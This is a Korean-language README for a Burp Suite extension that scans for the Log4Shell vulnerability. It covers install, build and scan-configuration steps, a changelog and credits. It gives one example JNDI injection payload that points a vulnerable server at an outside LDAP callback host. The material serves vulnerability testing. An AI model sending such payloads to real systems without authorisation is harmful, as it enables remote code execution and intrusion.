면책 조항

저는 여러분의 행동, Burp Suite의 멈춤, 대상 시스템의 해킹, 또는 여러분이 이 안내를 따라 발생한 현재의 경제 위기에 대해 책임지지 않습니다. 여러분은 이 도구를 사용하기로 선택한 것이며, 만약 무언가 망가뜨린 것에 대해 저에게 책임을 돌린다면 저는 그냥 웃을 것입니다.

지침:

• 사전 컴파일된 릴리스에서 확장 프로그램을 설치하거나 소스에서 빌드하세요.
• 다른 활성 스캔 확장 프로그램(예: Active Scan++, Burp Bounty Pro, Param-Miner 등)을 비활성화/체크 해제하세요.
• 상단 메뉴에서 Log4J Scanner의 설정을 엽니다.
• 커스텀 페이로드를 추가하고 설정을 저장합니다.
• 대상 선택 > 우클릭 > 스캔.
• 스캔 구성 > 라이브러리에서 선택을 선택합니다.
• 감사 검사 - 확장 프로그램만을 선택하고 확인 버튼을 누릅니다.

Silent Signal님께 특별히 감사드리며, 지침과 스캔 구성은 그의 확장 프로그램에서 영감을 받았습니다.

기억해야 할 중요한 지침:

• 커스텀 페이로드에 협력자 URL을 추가하지 마세요. 대신 [collaborator-server]를 자리 표시자로 추가하세요.
• [collaborator-server는 협력자 서버 URL로 자동 대체됩니다.
• 예시 페이로드: "${jndi:ldap://[collaborator-server]/a}

릴리스 다운로드

https://github.com/0xDexter0us/Log4J-Scanner/releases/

소스에서 빌드

• ./gradlew build fatJar
• jar 파일 가져오기: build/libs/Log4J-Scanner-x.x.x.jar

설치

1. 릴리스에서 최신 jar를 다운로드하거나 소스에서 빌드합니다.
2. jar를 Burp Suite에 추가합니다.

프로젝트가 마음에 드신다면, 저장소에 별표를 눌러주세요! <3

리소스

• 수동 스캔: https://github.com/f0ng/log4j2burpscanner
• 능동 스캔: https://github.com/albinowax/ActiveScanPlusPlus & https://github.com/silentsignal/burp-log4shell

변경 로그

2021년 12월 25일 - v0.2.0

• Burp Collaborator API 추가.
• 사용자 정의 스캐너 제거.
• Burp 스캐너 API 추가.

2021년 12월 13일 - v0.1.0

• 첫 공개 릴리스

감사

• CoreyD97 - https://github.com/CoreyD97
• Silent Signal - https://github.com/silentsignal

이 코드는 하루 만에 제가 작성한 초기 릴리스이며, 버그가 발생할 수 있습니다. 버그 리포트, 제안, 풀 리퀘스트 모두 환영합니다 :)